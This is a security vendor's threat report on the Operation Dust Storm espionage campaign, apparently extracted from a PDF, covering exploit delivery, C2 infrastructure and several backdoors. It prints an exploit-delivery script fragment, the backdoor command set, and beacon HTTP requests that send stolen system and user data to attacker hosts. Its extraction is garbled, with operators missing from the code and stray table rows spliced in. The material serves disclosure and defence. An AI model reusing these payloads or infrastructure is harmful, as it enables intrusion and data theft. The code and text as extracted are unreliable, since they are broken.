Identity Crisis: Zero-Day Attacks SPEAR identified another Operation Dust Storm campaign in June 2012 that leveraged both CVE-2011-0611, a Flash exploit the group had used previously, and CVE- 2012-1889, an Internet Explorer zero-day.
The attackers used the domain mail.glkjcorp.com to deliver the exploits, and the domain was hosted on the IP address 114.108.150.38 at the time of the attack.
SPEAR was unable to definitively tie this particular exploit site to a watering hole or phishing campaign, however, numerous other CN-APT operators leveraged the Internet Explorer zero-day during the same period using both techniques.
The exploit domain glkjcorp.com was registered shortly before the attack on May 24, 2012.
Two different emails were used in the registration of this domain: effort09 (at) hotmail.com and zaizhong16 (at) 126.com.
This attack was the first to use the file DeployJava.
js to fingerprint installed software on victim systems prior to delivery and ensure a known effective exploit was deployed.
This JavaScript file was first used and documented by Ahnlab a month earlier in the Gong Da Exploit Kit: http://www.ahnlab.com/kr/site/ securityinfo/secunews/secuNewsView.do?menu_ dist2seq19418.
The DeployJava.js worked in conjunction with another script embedded in the exploit page, to deliver the Flash exploit if the version of IE was 8 or 9 or deliver the IE zero-day if the version of IE was 6 or 7.
if (((i9 -1) (i8 -1))w7-1ja) flash.
Movie vars else if((i8-1)(xp-1)) flash.
Movie vars else if((i6-1i7-1)(xp-1)) document.body.innerHTMLobject classid\clsid:D27CDB6E-AE6D-11cf-9 6B8-444553540000\ width\100\ height\100\ id\ki\param name\mov- ie\ value\vars\ /param name\quality\ value\high\ /param name\bgcolor\ value\ffffff\ /param name\allowScriptAccess\ val- ue\sameDomain\ /param name\allowFullScreen\ value\true\ /\/ob- ject setTimeout(document.body.innerHTML\iframe srcfaq.htm width200 height200\/iframe\,2000) Figure 2: JavaScript Snippet for Exploit Delivery Choice The DeployJava.js script was used extensively by other APT groups throughout 2012 and 2013, including Nitro in August of the same year.
4 OPERATION DUST STORM 5OPERATION DUST STORM Registration Email Address Domain Name Date First Registered newsq13 (at) hotmail.com tomshardpc.com March 27, 2013 newsq13 (at) hotmail.com wordoscorp.com March 27, 2013 houqiangliuliu (at) 163.com projectscorp.net October 9, 2013 wantsamsung (at) 21cn.com elecarrow.com October 9, 2013 Figure 4: New C2 Domains Registered in 2013 Registration Email Address Domain Name Date First Registered ysymsq (at) 126.com hkabinc.com March 26, 2014 myexmail (at) aol.com exemail.com March 26, 2014 myexmail (at) aol.com sslmails.com March 6, 2015 Figure 5: C2 Domains Registered in 2014 and 2015 Here and Now: Companies Compromised Activity in 2015 was significantly more interesting, and prompted SPEAR to begin studying Operation Dust Storms other activities.
SPEAR identified a number of second-stage backdoors with hardcoded proxy addresses and credentials.
These proxy addresses revealed the attacker had compromised a number of Japanese companies involved in power generation, oil and natural gas, construction, finance, and transportation.
Also of note in this attack: the final payload (hxxp://mail.
glkjcorp.com/pic/win.exe) was delivered encoded with a single-byte XOR against the byte 0x95, skipping both the key itself and zero in an attempt to avoid exposing the key.
This method of obfuscation at the time would have ensured delivery of the payload past most IDS/IPS systems.
The unencoded payload was a hybrid of the older Misdat backdoor and its next generation, the S-Type backdoor.
The backdoor would first attempt to use the old Misdat network protocol and communicate to smtp.
adobekr.com.
If that failed, it would fallback to the newer HTTP-based S-Type protocol which communicated with mail.glkcorp.com.
The group completely abandoned older incarnations of the Misdat backdoor for their first stage implants in 2013, and moved predominantly to the new S-Type backdoors.
A full analysis of both of these backdoors is included in the Implant Analysis section.
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185
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Into the Future: Japanese Targets SPEAR noticed a fairly large lull in activity from March 2013 to August 2013.
| 38,611
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data/reports_final/0185.txt
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Into the Future: Japanese Targets SPEAR noticed a fairly large lull in activity from March 2013 to August 2013.
Coincidentally (or perhaps not), Mandiant released their APT 1 report on February 19, 2013 (https://www.fireeye.com/blog/threat-research/2013 /02/mandiant-exposes-apt1-chinas-cyber-espionage- units.html).
Activity didnt cease entirely, but the volume of malware SPEAR was able to collect during this period was remarkably decreased.
Several new domains were registered during this time period, which would go on to become the crux of the groups operations for the next several years.
There was some anecdotal evidence to suggest Operation Dust Storm leveraged an Ichitaro zero-day CVE-2013- 5990 to target Japanese victims.
This zero-day was first reported publicly on November 12, 2013.
Ichitaro is a popular Japanese word processing program designed by a company called JustSystems.
While SPEAR was unable to find the exact sample that delivered a Misdat payload, our team analyzed numerous other related samples.
The backdoors were encoded within the exploit documents using a very familiar method of XORing skipping zero bytes and the key itself only this time the key used for encoding was 0x85.
Throughout 2013, the other incidents SPEAR identified all deployed the S-Type backdoor exclusively.
This year also marked an epoch in terms of relying on dual persistence locations in case the victim had lower permissions and couldnt perform certain actions like writing to the registry or certain file locations.
Older techniques like using the Startup folder made a resurgence during this time period.
Beginning in February 2014, there was definitive evidence to suggest the group used a watering hole attack on a popular software reseller to deliver an Internet Explorer zero-day, CVE-2014-0322, to a number of unsuspecting targets.
The exploit itself was hosted on hxxp://krtzkj.
bz.tao123.biz/error/pic.html, which at the time of the attack resolved to 126.85.184.190.
During this same time period, the domain js.amazonwikis.com also pointed to this IP address and was used in previous attacks that relied on web-based exploits.
The intermediate payload Erido.jpg was an XOR encoded executable common to other CVE-2014-0322 attacks, which ultimately delivered a variant of the S-Type backdoor to the victim.
Operation Dust Storm also began to branch out in 2014 into establishing and finding alternative means of persistence on victim systems.
SPEAR identified several second-stage samples that needed to be installed as a ServiceDLL in order to work properly, as well as one that functioned as a router manager for the normal Routing and Remote Access Service.
Doing a simple search for this registry key, HKLM\System\CurrentControlSet\ Services\RemoteAccess\RouterManagers\IP\DllPath yielded numerous other pieces of malware however, SPEAR was only able to identify one of the groups samples that took advantage of this.
Several new domains were also registered in 2014 to support expanding operations.
In one case that transpired in early February 2015, SPEAR was able to recover the second-stage implant delivered by a variant of the S-Type backdoor shortly following its initial reconnaissance.
What caught our attention was the fact that the victim was part of the investment arm of a major Japanese automaker.
The attack came just two weeks before eleven unions representing Japans autoworkers demanded a monthly raise of six thousand yen.
(
http://www.bloomberg.com/ news/articles/2015-02-18/japan-auto-workers-seek- pay-raise-to-share-in-record-car-profits) The second-stage implants were also programmed and compiled using Microsoft Visual Studio 6, an archaic version of Visual Studio that seems to be preferred by malware authors.
Despite using an old version of Visual hxxp://114.142.147.53/deployJava.js hxxp://59.120.59.2/eng/img/deployJava.js hxxp://67.192.225.83/us/deployJava.js hxxp://98.129.119.156/CFIDE/debug/includes/deployJava.js hxxp://gifas.cechire.com/fr/deployJava.js hxxp://goddess.nexon.com.au/inc/deployJava.js hxxp://java.ree.pl/meeting/deployJava.js hxxp://jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js hxxp://naedco.com/img/common/t/deployJava.js hxxp://songwol.co.kr/employee/deployJava.js hxxp://spacexmt.spacedevcoop.com/checkplayer/deployJava.js hxxp://tavis.tw/tmp/deployJava.js hxxp://www.jcsh-web.com.cn/admin/inc/conn/deployjava.js hxxp://www.jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js hxxp://www.toisengyo.jp/24/11/deployjava.js Figure 3: Other Later Targeted Attacks Leveraging DeployJava.js 6 OPERATION DUST STORM 7OPERATION DUST STORM IMPLANT ANALYSIS MISDAT BACKDOOR (2010-2011) Most early samples of Misdat were not packed however, following what appeared to be heightened awareness by security vendors, samples in late 2010 and 2011 were typically packed with the executable packer, UPX version 3.03 (hxxp://upx.
sourceforge.net/).
All of the Misdat samples SPEAR identified were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file as a result, SPEAR was forced to use the resource compile times of samples to get a better idea of when the actual backdoors were compiled.
FILE CHARACTERISTICS SHA256 File Size Resource Compile Time 63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c 67,584 Bytes 01-12-2010 19:09:38 UTC 74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42 44,544 Bytes 07-07-2010 19:16:28 UTC 38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6 22,016 Bytes 07-07-2010 19:16:28 UTC 2978c6cfff1754c85a4a22b6a72dc9e60b- 596b54e65ed5ab2c80b8bc259ca5dc 22,016 Bytes 08-16-2011 00:27:02 UTC 580c7ed2b624a0dfa749909d3e110704 65bd310663d30fb6fe3532ad45d57b8a 43,008 Bytes 08-16-2011 00:27:02 UTC 861edc857e53ff072947c2befc3c372c9 a954a7de5c48c53b99c64ff99b69dbd 43,008 Bytes 08-16-2011 00:27:02 UTC 4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876 23,040 bytes 10-21-2011 20:05:48 UTC File characteristics and resource compile times of known Misdat samples.
HOST-BASED INDICATORS Volatile Evidence: Will create a 32-bit Mutex based upon the MD5 hash of a unique string comprising the volume serial number, decrypted network configuration data, and encoded campaign identifier File System Modifications: The backdoor will copy itself to CommonFiles\Unique Identifier\msdtc.exe It may attempt to open then delete the file C:\2.hiv, c:\t2svzmp.kbp, or c:\tmp.kbm depending on the sample.
Later versions from 2011 all used c:\t2svzmp.kbp Registry Modifications: The malware may create the registry key HKCU\Software\dnimtsoleht\StubPath, HKCU\Software\snimtsOleht\StubPath, or HKCU\Software\Backtsaleht\StubPath for persistence In SPEARs tests, StubPath always pointed to the newly created msdtc.exe binary within the CommonFiles directory, with either the /ok or /start switch depending on the sample May create the Registry Key HKLM\SOFTWARE\Microsoft\Active Setup\Installed.
Components\3bf41072-b2b1-21c8- b5c1-bd56d32fbda7 or HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\3ef41072-a2f1-21c8-c5c1- 70c2c3bc7905 Studio, the backdoor is well designed by comparison and provides a full suite of functionality to the attacker.
No antivirus vendors seem to reliably detect most of the variants SPEAR identified.
Perhaps even more interesting was the fact that the group adopted and eventually customized several Android backdoors to suit their purposes in the beginning of 2015.
The group rapidly expanded their mobile operations in May 2015.
The initial backdoors were relatively simple, and would continually forward all SMS messages and call information back to the C2 servers.
Later variants became much more complex, and included the ability to enumerate and exfiltrate specific files directly from the infected devices.
All of the identified victims for the Android Trojans resided in Japan or South Korea.
The infrastructure to support the Android campaigns was massive in comparison to previous operations.
More than two hundred domains have been identified to date.
SPEAR plans to release more information regarding this threat shortly.
SPEAR discovered two more waves of attacks that started in July 2015 and October 2015.
Interestingly, one of the primary targets was a Japanese subsidiary of a South Korean electric utility.
Similarly, SPEAR identified a separate intrusion into a major Japanese oil and gas company.
The exact motivations for this particular attack were unclear however, if this attack coincided with all previous operations, the most likely goals were reconnaissance and long-term espionage.
CONCLUSION At this time, SPEAR does not believe the attacks were meant to be destructive or disruptive.
However, our team believes that attacks of this nature on companies involved in Japanese critical infrastructure and resources are ongoing and are likely to continue to escalate in the future.
Its clear from SPEARs research that Operation Dust Storm has slowly evolved over time to become increasingly effective.
Early operations were extremely blunt, relatively unsophisticated, and readily picked up by the security industry.
As the group became more and more focused on Japan, less and less of their tactics and malware appeared in reports or write-ups.
The targets identified escalated both in size and in the scope of affected industries.
As a result, SPEAR felt obligated to share with the community and public what was discovered recently, to hopefully stunt the attackers progress for a time.
SPEAR has been closely following the aftermath of public reporting.
We have decided that even though disclosure often forces attackers to change, it also enables defenders to better detect and expel real threats from their environments.
SPEAR would like to thank the Japanese Computer Emergency Response Team (JP-CERT) for their cooperation, assistance, and time during our investigation.
NOTE: A large number of the older Misdat domains were sinkholed by a private entity in late December 2015.
The domains currently point to the IP address 58.158.177.102.
If anyone has more information or knows who operates this sinkhole, please contact us at: threat-intel [at] cylance [dot] com.
8 OPERATION DUST STORM 9OPERATION DUST STORM NETWORK-BASED INDICATORS Observed network traffic was always base64 encoded plain text over a raw socket to common ports like 80, 443, or 1433.
A sample initial beacon packet is shown below.
logonHostnameWindows XP100112bd56d32fbda703a98c87689c92325d90 Figure 6: Initial Beacon Packet Base64 Decoded The string logon always preceded any other information.
In the instance above, the hostname of the victims system, operating system version, unique sample identifier (SPEAR believes this is a date: 1/12/2010), as well as the unique MD5 used for the mutex were sent to the server.
Once it registers with the C2, the backdoor sends the string YWN0aXZlfA which decodes to active.
The backdoor will then continue to send that string and wait until it receives one of the following commands from the C2 server: Command Function shell Initiates a new connection that provides shell functionality to the attacker to execute commands.
Subcommands include shellstart, command and stop.
files Initiates a new connection that provides file management and enumeration capabilities to the attacker.
Subcommands include filelist, dirlist, driver (enu- merates logical drives), renamefile, delete, run, open and stop.
upload Provides the ability to upload files directly to the C2.
down Provides the ability to download files from the C2.
restart Restarts the victim system through a call to the Windows API ExitWindowsEx.
closeos Shuts down the system via ExitWindowsEx API.
dclose Closes the socket connection to the C2.
uclose Appears to do the same as the dclose command.
unintall Deletes the Active Setup registry key and deletes the backdoor before termi- nating the process.
Figure 7: Network Commands Supported by the Misdat Backdoor DETAILS The backdoors were relatively simple and provided the attacker the ability to upload and download files, manipulate and enumerate files, execute shell commands, disconnect from the C2, uninstall the backdoor, and shutdown or restart the system.
The backdoors could also potentially take the command line parameters /ok or /start the switches changed the user context under which the process runs.
If no switch was provided when executed, the backdoor will copy itself to CommonFiles\ Unique Identifier\msdtc.exe, where the unique identifier is the first ten characters of the MD5 hash used as the mutex.
It will then configure one of the Active Setup and associated registry keys above to establish persistence on the system.
SPEAR identified and reversed the encoding mechanism used for obfuscating network callback information and what appeared to be a unique campaign identifier.
The following script can be used to decode these obfuscated strings.
def decode_chars(a, b): return chr((26 (ord(a) - ord(A))) (ord(b) - ord(A))) def decode(s): rolling_key 0x783 result for index in xrange(len(s)/2): result decode_chars(s[index 2], s[(index 2) 1]) real_result for index in xrange(len(result)): i index 1 real_result chr(((rolling_key 8) 0xff) ord(result[i - 1])) rolling_key 0xdbd9 (ord(decode_chars(s[index 2], s[(index 2) 1])) rolling_key) 0xda3b return real_result Figure 8: Python Script for Decoding Obfuscated Misdat Strings FILE CHARACTERISTICS SHA256 Campaign ID Network Callback 63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c WNA Domain: 323332.3322.org Ports: 80, 443, 1433 74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42 XSI Domain: 323332.3322.org Ports: 80,443, 1433 38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6 UAL Domain: msejake.7766.org Ports: 80, 443, 1433 2978c6cfff1754c85a4a22b6a72dc9e6 0b596b54e65ed5ab2c80b8bc259ca5dc QPO Domain: msevpn.3322.org Ports: 80, 443, 8080 580c7ed2b624a0dfa749909d3e1107046 5bd310663d30fb6fe3532ad45d57b8a QPO Domain: msevpn.3322.org Ports: 80, 443, 8080 861edc857e53ff072947c2befc3c372c9a 954a7de5c48c53b99c64ff99b69dbd QPO Domain: msevpn.3322.org Ports: 80, 443, 8080 4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876 YAM Domain: msevpn.3322.org Ports: 80, 443, 8080 Figure 9: Decoded Campaign Identifiers and Network Callback Information Also of interest was the fact that all of the samples would attempt to detect whether or not the victim was using a Japanese keyboard via a call to the Windows API GetKeyboardType and report that fact back to the attacker.
10 OPERATION DUST STORM 11OPERATION DUST STORM MIS-TYPE HYBRID BACKDOOR (2012) In 2012, Operation Dust Storm slowly migrated to a hybridized backdoor, which actually contained two entirely separate backdoors within the same binary.
This backdoor would first attempt to establish an interactive shell using the Misdat base64 encoded network protocol over a raw TCP socket.
If the initial communication to the first C2 failed, the backdoor would fallback to a secondary HTTP-based protocol and communicate to an alternate C2.
Hybrid variants SPEAR identified were compressed with UPX version 3.03.
FILE CHARACTERISTICS SHA256 File Size Resource Compile Time b1aed59dc59a4ef4c7d2b6e67983e4867e 04ba35c42372eb3b6ad969bd6a6041 30,720 Bytes 02-23-2012 14:47:18 UTC 93c1c7a666833f5f68d2315dc014dc6c2 446c91c848130e228e84376b0aaf441 30,720 Bytes 06-18-2012 22:39:02 UTC Figure 10: File Details of the Hybrid Backdoors HOST-BASED INDICATORS Volatile Evidence: Will create a 32-bit Mutex based upon the MD5 hash of a unique string comprised of the volume serial number, decrypted network configuration data, encoded network configuration data, and encoded campaign identifier May create a temporary user on the system named Lost_Unique Identifier with the password fuck6Unique Identifier May create the folder System\Unique Identifier temporarily.
May create files in AppData\Unique Identifier that end in tmp.exe May create the files: AppData\Unique Identifier\HOSTRURKLSR Contains the results of the command cmd.exe /c ipconfig /all AppData\Unique Identifier\NEWERSSEMP Contains the results of the command cmd.exe /c net user Username File System Modifications: The backdoor will copy itself to AppData\Unique Identifier\msdtc.exe where the unique identifier is the first ten characters of the MD5 hash Registry Modifications: The malware may create the registry key HKCU\Software\bkfouerioyou Creates the value StubPath pointing to AppData\Unique Identifier\msdtc.exe Will create one of these registry keys for persistence: HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\6afa8072-b2b1-31a8-b5c1- Unique Identifier First 12bytes HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\3BF41072-B2B1-31A8-B5C1- Unique Identifier First 12bytes NETWORK-BASED INDICATORS The malware will make DNS requests for the domains smtp.adobekr.com and mail.glkjcorp.com or auto.glkjcorp.com.
Both samples were configured to communicate first to smtp.adobekr.com using the Misdat network protocol described above over TCP port 80, 443, and 25.
If a response was not received from the C2, the samples would fallback to the secondary HTTP protocol and communicate to the alternate C2 using the same TCP ports.
POST /index.asp HTTP/1.1 Accept: Accept: /, /index.asp, mail.glkjcorp.com Content-Type: application/x-www-form-urlencoded User-Agent: FirefoxApp Host: mail.glkjcorp.com Content-Length: 334 Cache-Control: no-cache ide263314342d1f1b9typepoststypeinfodataV2luZG93cyBYUA0KTUFMV0FSRS9j- dWNrb28vQWRta W5pc3RyYXRvcnMNCkNyZWF0ZSBVc2VyIExvc3RfZTI2MzMxI- FN1Y2Nlc3MuDQpDcmVhdGUgRGlyIFN1Y2Nlc3 MuDQpXcml0ZSBSZWdLZXkgRX- Jyb3IuDQpGaWxlU3lzdGVtIDogTlRGUw0KU3lzdGVtIFJ1blRpbWU6MCBkYXkwI GhvdXJzMTUgbWludXRlcw0KDQoNCiBDb3VudCA9IDANCk9wZW5TY01hbmFnZXIgT0suDQo Figure 11: Initial S-Type Beacon The initial POST request always used the static User-Agent FirefoxApp and contained operating system information, user information, the results of several permissions tests, the file system, and system uptime.
If the backdoor did not receive a response, it would then try to communicate the same base64 encoded information in the URI of a GET request.
Windows XP Hostname/Username/Administrators Create User Lost_e26331 Success.
Create Dir Success.
Write RegKey Error.
|
186
|
FileSystem : NTFS System RunTime:0 day0 hours15 minutes Count 0 OpenScManager OK.
| 38,706
| 38,735
| 30
|
data/reports_final/0186.txt
|
FileSystem : NTFS System RunTime:0 day0 hours15 minutes Count 0 OpenScManager OK.
Figure 12: Contents of the Decoded POST Request from the Figure Above Follow-on requests used the User-Agent of the default browser on the system as evidenced below.
GET /index.asp?mmide263314342d1f1b9 HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: mail.glkjcorp.com Connection: Keep-AliveOpenScManager OK.
Figure 13: Follow-on HTTP Traffic The id and mmid fields in the figures above both used the first 16 characters of the unique identifier created for the mutex.
The Misdat protocol provided the attacker most of the features of a full-fledged backdoor, while the secondary protocol appeared to primarily be used as an update mechanism to load additional malware on the system.
12 OPERATION DUST STORM 13OPERATION DUST STORM NETWORK-BASED INDICATORS DETAILS The backdoor could be executed with three different switches, /ok, /Start, or /fuck.
These switches affected the context under which the process would be run and whether or not the binary would delete itself once executed.
Switch Descriptive Purpose Self-Delete /ok Executed the malware directly under the current running process using the context of the user that started the application (can be system).
No /Start Executed the malware under explorer.exe in the context of whatever user executed the application (can be system).
This was the switch used by the malware when setting persistence in the registry.
No /fuck Forced execution of the malware under explorer.exe in the context of the user running explorer.exe (scanned active processes and located the explorer process).
No No Started the malware in a process called msdtc.exe which ran as an orphaned process under explorer.exe Yes Figure 14: Description of Command Line Execution Switches for the Backdoor The backdoor attempted to run a number of tests to determine the privilege level of the compromised user, including whether or not a user can be added to the system, whether a directory can be created in the System folder, and whether the user can access the service manager via a call to OpenSCManagerA.
The user test was performed by utilizing the NetUserAdd and NetUserDel Windows APIs the test attempted to create the temporary user Lost_Unique Identifier with the password fuck6Unique Identifier.
If the secondary network protocol was activated, the backdoor would also execute two commands via the command interpreter to gather system information: cmd.exe /c ipconfig /all and cmd.exe /c net user Username.
It would temporarily write the output of these commands to the files, AppData\Unique Identifier\HOSTRURKLSR and AppData\Unique Identifier\NEWERSSEMP respectively.
This information was then base64 encoded and transmitted to the C2 server within the URI of a GET request.
The S-Type network protocol is described in greater detail below.
Also of note is that the backdoor would continue to attempt to beacon to smtp.adobekr.com on port 25 even if communication to the secondary C2 could be established.
The configuration information contained within these backdoors could be decoded using the same script provided in Figure 8.
FILE CHARACTERISTICS SHA256 Network Callbacks Identifier b1aed59dc59a4ef4c7d2b6e67983e4867 e04ba35c42372eb3b6ad969bd6a6041 Primary: smtp.adobekr.com Secondary: hxxp://mail.glkjcorp.com/index.asp TCP Port: 80, 443, 25 HLD 93c1c7a666833f5f68d2315dc014dc6c24 46c91c848130e228e84376b0aaf441 Primary: smtp.adobekr.com Secondary: hxxp://auto.glkjcorp.com/us/index.asp TCP Port: 80, 443, 25 GKB Figure 15: Secondary C2 Servers and Campaign Identifiers by Sample S-TYPE BACKDOOR (2013-2014) After experimenting with a hybrid of the Misdat and S-Type backdoors, in 2013 Operation Dust Storm abandoned the earlier Misdat network protocol entirely.
This was likely a direct result of the demonstrated effectiveness of an HTTP-based protocol for command and control, or simply an adaptation to more corporations leveraging web-based proxies.
All samples identified were programmed using Borland Delphi and made use of custom classes to implement common backdoor functionality.
The majority of samples SPEAR identified in 2013 were packed with UPX version 3.03, while later 2014 variants were not.
FILE CHARACTERISTICS SHA256 File Size Resource Compile Time 83399bd0e09b2c2886a58890bbbf6a8d 4e6cd3aa32b091045dd6739c637acfd5 32,768 Bytes HLD Figure 16: File Characteristics of the S-Type Backdoor HOST-BASED INDICATORS Volatile Evidence: May create a mutex named Unique Identifier_KB10B2D1_CIlFD2C May create a temporary user on the system named Lost_Unique Identifier with the password pond6Unique Identifier May create the folder System\Unique Identifier temporarily File System Modifications: The backdoor will copy itself to CommonFiles\Unique Identifier\msdtc.exe while other observed variants used Appdata\Unique Identifier\msdtc.exe May create the file HOMEPATH\Start Menu\Programs\Startup\Realtek Unique Identifier.lnk This shortcut will point to the msdtc.exe file in CommonFiles with the /Start switch May create temporary files in temp\random numbers.tmp Registry Modifications: Will temporarily create the registry key HKCU\SOFTWARE\AdobeSoft May create the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.13 characters of Unique Identifier May create the Registry keys: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\http HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\https NETWORK-BASED INDICATORS The backdoor communicated to ssl.projectscorp.net and pic.elecarrow.com primarily on port 80 however, communication would also fallback to port 443 or 8080 if initial communication failed.
The backdoor used HTTP to communicate with the C2 servers data was transmitted base64 encoded in the URI of GET requests or sent in the body of a POST request.
It used two hardcoded User-Agents, FirefoxApp and Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 SV1) in initial requests, as well as the default User-Agent of the system in its later communications.
14 OPERATION DUST STORM 15OPERATION DUST STORM HostnameWindows XP/Username1??2343?
?TZ-131013 Hostname/Username/Administrators Create User Error.
0 Create Directory Success.
OpenScManager OK.
|
187
|
FileSystem : NTFS No AutoConfigURL.
| 38,736
| 38,903
| 168
|
data/reports_final/0187.txt
|
FileSystem : NTFS No AutoConfigURL.
No ProxyAddress.
Figure 19: Decoded Data Parameter from Figure Above The backdoor attempts to run a number of tests to determine the privilege level of the compromised user, including whether or not a user can be added to the system, whether a directory can be created in the System folder, and whether the user can access the service manager.
This information is transmitted along with the type of file system and any proxy information necessary to access the Internet.
The backdoor may also make network requests with the following variables in the URI typeie, stypeinfodata, stypesrvdata, stypecondata, stypeuserdata, mmid, typepoststype, or status.
DETAILS In a similar way as previous Dust Storm backdoors, this one attempted to detect whether or not the victim was using a Japanese keyboard via the GetKeyboardType API.
The backdoor itself provided the attacker the ability to execute shell commands, enumerate system and network information, manipulate files, and download and execute an arbitrary file.
Initial observations suggest this was largely a reconnaissance platform that would then be upgraded by the attacker to a full-featured backdoor.
The backdoor performed the initial tests described above by first attempting to add the user Lost_Unique Identifier with the password pond Unique Identifier to the system using the NetUserAdd API if successful, it then removed this user via the NetUserDel API.
The backdoor then attempted to create the folder System\Unique Identifier with the CreateDirectoryA API and removed it using the RemoveDirectoryA API.
Once these two tests were complete, it attempted to access the Windows Service Control Manager through a call to OpenSCManagerA.
Once it communicated this information along with proxy and file system info via the initial POST requests, the backdoor attempted to execute a sequence of commands to enumerate information about the system and local network.
net start Ipconfig /all net user or net user /domain depending on the value of USERDNSDOMAIN Figure 20: Initial Commands Executed on the System by the Backdoor The results of these commands are transmitted base64 encoded as the data parameter within the URI, /pic/index.
asp?idUnique_Identifiertypeiestypeinfodata.
Once the results of these commands are transmitted back to the C2 server, the backdoor will continue to beacon to the URI /pic/index.asp?mmidUnique Identifier and wait for either commands to execute or an updated binary to download and execute.
Any file downloaded from the C2 is sent base64 encoded and has the name Unique Identifier.txt.
If the file is a binary, it is written to disk as tmp.exe and executed via WinExec.
The backdoor will then communicate back to the C2 with either statusrun succeed if successful, or statusError Code if there was an error.
The Unique Identifier referenced above is an eight-character hex-string calculated by adding the volume serial number of the C drive (or D drive if there is no C) and a CRC32 hash of the first 0x90 bytes of the encoded configuration for the backdoor.
This was quite different from the earlier Misdat variants, as it can be reversed to yield the serial number of the drive.
The backdoor decodes its configuration information from offset 0xE9FC.
It skips the first 4 bytes, then subtracts 0x2 from each byte and XORs the resultant values with the first byte of the configuration block, 0x58 in this case.
Example HTTP requests are presented in the figures below.
POST hxxp://pic.elecarrow.com:80//Item/2016757.aspx HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 SV1) Host: pic.elecarrow.com:80 Content-Length: 93 Connection: Keep-Alive Cache-Control: no-cache POST /pic/index.asp HTTP/1.1 Accept: Accept: /, /pic/index.asp, ssl.projectscorp.net Content-Type: application/x-www-form-urlencoded User-Agent: FirefoxApp Host: ssl.projectscorp.net Content-Length: 354 Cache-Control: no-cache idE8C465FCtypepoststypeinfodataVVNFUi1ENjkyMUY2MjE1fFdpbmRvd- 3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTRVIt- RDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXNl- ciBFcnJvci4gMA0KQ3JlYXRlIERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWdl- ciBPSy4NCkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlB- ZGRyZXNzLg Figure 17: Initial POST Requests Sent by the S-Type Backdoor GET /pic/index.asp?idE8C465FCtypeiestypeinfodataVVNFUi1ENjkyMUY2M- jE1fFdpbmRvd3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTR- VItRDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXN- lciBFcnJvci4gMA0KQ3JlYXRlIERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWdlciBPSy4N- CkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlBZGRyZXNzLg HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: ssl.projectscorp.net Connection: Keep-Alive GET /pic/index.asp?mmidE8C465FC HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: ssl.projectscorp.net Connection: Keep-Alive Figure 18: Sample Get Requests Sent by the S-Type Backdoor 16 OPERATION DUST STORM 17OPERATION DUST STORM 0000E9F0 58 2C 74 14 X,t.
0000EA00 73 32 2E 2E 2A 64 79 79 2D 2D 36 78 2A 2C 39 34 s2..dyy--6x,94 0000EA10 3F 3D 2E 2D 3D 39 2C 2A 78 38 3F 2E 79 2A 33 3D ?
.-9,x8?.y3 0000EA20 79 33 38 3E 3F 22 78 3B 2D 2A 5A 5A 5A 5A 5A 5A y38?x-ZZZZZZ 0000EA30 5A 5A 5A 5A 4B 2A 33 3D 78 3F 36 3F 3D 3B 2C 2C ZZZZK3x?6?,,
